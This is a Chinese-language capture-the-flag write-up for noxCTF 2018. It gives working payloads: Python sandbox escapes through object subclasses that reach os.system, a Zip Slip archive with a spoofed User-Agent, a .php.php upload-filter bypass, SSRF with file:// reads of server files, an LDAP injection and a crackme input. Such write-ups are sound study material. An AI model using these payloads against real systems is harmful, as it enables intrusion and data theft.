Misc
pythonforfun
1 | def fun(___________): |
填充参数,然后返回结果。
输入a, b
正确。
给b
赋予默认值b=dir()[0]
,正确。
注意:
1 | eval()函数只能计算单个表达式的值,而exec()函数可以动态运行代码段。 |
列目录:
def fun(a, b=print(exec("import os"),eval("os.listdir('.')")))
如果需要eval
执行python代码
,可以使用compile()
构造代码, 并使compile()
的mode
参数为exec
。
1 | def fun(a, b=print(eval(compile("import os", "<string>", "exec")),eval("os.listdir('.')"))): |
读取flag:
1 | def fun(a, b= print(open('Flag', 'r').read())) |
其他payload:
1 | a, b=__import__('os').system('cat FLAG') |
pythonforfun2
1 | def fun(a, b=print(exec("import os"),eval("os.listdir('.')"))) |
存在沙箱,需要绕过。
1 | NOT_ALLOWED = ['SystemExit', '__build_class__', '__import__', '__loader__', '__spec__', 'abs', 'ascii', 'bin', |
1 |
|
base列出其基类, mro给出了method resolution order,即解析方法调用的顺序。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
然后获取`Object`所有子类。
由于`codecs.StreamReaderWriter` 或者`_NamespaceLoader`可以调用`sys`模块,首先找到`StreamReaderWriter`的下标。
```shell
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
... if "Stream" in str(val):
... print(i, " ", val)
...
115 <class 'codecs.StreamReaderWriter'>
204 <class 'tarfile._StreamProxy'>
233 <class 'tarfile._Stream'>
248 <class 'contextlib._RedirectStream'>
279 <class 'codecs.StreamRecoder'>
>>> dir(''.__class__.__mro__[1].__subclasses__()[64].__init__)
['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
... if "_NamespaceLoader" in str(val):
... print(i, val)
...
41 <class '_frozen_importlib_external._NamespaceLoader'>
>>> ''.__class__.__mro__[1].__subclasses__()[41].__init__.__globals__["sys"].modules["os"].system('ls')
awd bin flag.txt pwndbg temp
获取对象属性值:
1 | >> ''.__class__.__mro__[1].__subclasses__()[115].__init__.__globals__ |
payload:
1 | def fun(a, b=''.__class__.__mro__[1].__subclasses__()[115].__init__.__globals__["sys"].modules["os"].system('cat Flag')) |
Slip Situation
前提: Zip Slip漏洞综述
首页:
1 |
|
view-source:http://chal.noxale.com:1336/admin
1 |
|
writeup: https://www.pwndiary.com/write-ups/noxctf-2018-slippery-situation-write-up-misc750/
git clone https://github.com/ptoomey3/evilarc
touch key.txt
./evilarc.py key.txt -d 1 -p “admin” -o “unix”
或者:
1 | ht@TIANJI:/mnt/c/Users/HT/Desktop/temp$ tree |
准备../admin/file.txt
。
cd a
zip file.zip ../admin/file.txt
然后上传文件。
1 | ht@TIANJI:/mnt/c/Users/HT/Desktop/temp/a$ curl --cookie "shortssid=6dWt51pE971H1z4LudGHnt01fhQbGDCg" 'http://chal.noxale.com:1336/admin' |
需要修改User-Agent
。
1 | ht@TIANJI:/mnt/c/Users/HT/Desktop/temp/a$ curl -H "User-Agent: AdminPanel/0.1" --cookie "shortssid=6dWt51pE971H1z4LudGHnt01fhQbGDCg" 'http://chal.noxale.com:1336/admin' | grep -Eo "no.*}" |
Web
Reference
修改Referer
为 http://www.google.com
即可。
myfileuplaod
使用正则表达式过滤,.php$
存在问题,使用.php.php
即可绕过。
hiddendom
1 | <script> |
通过这段代码我们可以知道:
1 | input.setAttribute("placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"); |
除了可以传入参数target
之外,还可以传递一个参数expression
。
测试:
1 | curl http://13.59.2.198:5588/index.php?target=http%3A%2F%2F127.0.0.1%2Findex.php |
结果:
1 | <a href='/var/www/html/flag.txt' hidden>-_-</a><button id='showArea' class='button' style='margin-right:10px;'>show</button><button id='hideArea' class='button'>hide</button><br /><br /><textarea id='hidden_elements' rows='20' cols='85' style='background-color:#d1d1d1; color:#424242'><body background="hidden.jpg" style="background-size:cover;"> |
发现,存在SSRF
。
测试file
协议:
1 | curl http://13.59.2.198:5588/index.php?target=file:///var/www/html/flag.txt |
没有回显,这是因为/<[^<>]{1,}hidden[^<>]{1,}>/
正则表达式不匹配。
1 | curl http://13.59.2.198:5588/index.php?target=file:///var/www/html/flag.txt&expression=/nox.*/ |
1 | ht@TIANJI:~$ curl "http://13.59.2.198:5588/?target=file:///var/www/html/flag.txt&expression=/nox.*/" | grep -Eo "noxCTF{.*}" |
获取 index.php
源码。
1 | curl http://13.59.2.198:5588/index.php?target=file:///var/www/html/index.php&expression=/.*/ |
使用如上payload,可以发现返回Ammm... so close :)
。
可以使用如下payload,获取源码, 原因在于使用strpos
函数直接匹配字符串所致。
1 | curl "http://13.59.2.198:5588/?target=file:///var/www/html//index.php&expression=/.*/" > dom.html |
1 |
|
Dictionary of obscure sorrows
LDAP注入:
通过测试:
1 | http://54.152.220.222/word.php?page=O* => ok |
可能存在LDAP
注入。
根据https://oav.net/mirrors/LDAP-ObjectClasses.html,可以知道`ObjectClass`存在如下参数:
- commonName
- description
- seeAlso
- l
- o
- ou
- documentTitle
- documentVersion
- documentAuthor
- documentLocation
- documentPublisher
通过页面显示,我们可以知道,页面展示了两个字段documentTitle
以及description
。
所以可以构造如下payload:
http://54.152.220.222/word.php?page=*)(description=nox*
1 | ht@TIANJI:~$ curl "http://54.152.220.222/word.php?page=*)(description=nox*" | grep -Eo "nox.*}" |
Re
GuessTheString
题目很清晰:
字符串符合以下条件即可:
1 | return (unsigned int)tiaojian_1((const char *)a1) |
对应如下:
1 | a[0] > 32 |
构造如下字符串:
1 | /JTtC=&0"Dz |
结果:
1 | qianfa@qianfa:~/Desktop$ nc chal.noxale.com 22234 |